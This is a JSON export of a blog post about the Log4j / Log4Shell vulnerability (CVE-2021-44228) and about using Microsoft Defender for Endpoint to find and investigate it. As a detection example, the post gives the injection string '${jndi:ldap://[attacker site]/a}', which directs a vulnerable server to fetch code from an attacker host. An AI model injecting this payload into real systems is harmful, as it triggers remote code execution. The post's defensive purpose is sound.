{"id":4077,"date":"2021-12-15T00:31:25","date_gmt":"2021-12-14T22:31:25","guid":{"rendered":"https:\/\/jeffreyappel.nl\/?p=4077"},"modified":"2021-12-17T00:26:04","modified_gmt":"2021-12-16T22:26:04","slug":"microsoft-defender-for-endpoint-log4j","status":"publish","type":"post","link":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-log4j\/","title":{"rendered":"Log4j and CVE-2021-44228: Use Microsoft Defender for Endpoint for software\/ threat investigation"},"content":{"rendered":"

One of the most important and trending topics in the last couple of days is related to Log4j, log4shell, and the attached CVE 2021-44228. A zero-day vulnerability (CVE-2021-44228<\/a>), publicly released on 9 December 2021 and known as Log4j or Log4Shell, is actively being targeted in the wild. CVE-2021-44228 is assigned in the critical severity rating with a risk score of 10. With this high rating important to take immediate actions and patch vulnerable systems and software packages including Log4j.<\/strong><\/p>\r\n

\u00a0Article updated 15 December 2021<\/strong><\/p>\r\n

In this blog all the details about Log4J \/ CVE-2021-44228 detection with Microsoft Defender for Endpoint (MDE). Important to visit the Microsoft Security Response Center<\/a> blog. For reading all the detailed information and possible detection use-cases. See: Microsoft\u2019s Response to CVE-2021-44228 Apache Log4j<\/a><\/p>\r\n

Why is Log4J, log4shell, CVE-2021-44228 important?<\/h2>\r\n

The vulnerability CVE-2021-44228 referred to as Log4Shell affects Java-based applications that use Log4J 2 version 2.0 through 2.14.1. \u00a0Log4j 2<\/a> is a Java-based logging library that is widely used in the wild and included in open-source libraries and embedded in software applications. With this – the scope is high and includes thousands of software applications. Java is cross-platform and the Java library is used in many solutions. Important to track applications and patch directly to the latest security updates. Read the application vendor site for more details and available updates.<\/p>\r\n

An example pattern of attack would appear in a web request log with strings like the following: ${jndi:ldap:\/\/[attacker site]\/a}<\/p>\r\n

The string contains \u201cjndi\u201d, which refers to the Java Naming and Directory Interface.<\/p>\r\n

This blog will focus mostly on the Defender for Endpoint (MDE) side and not technical in-depth on Log4j. Some recommended sources for more in-depth Log4j information:<\/p>\r\n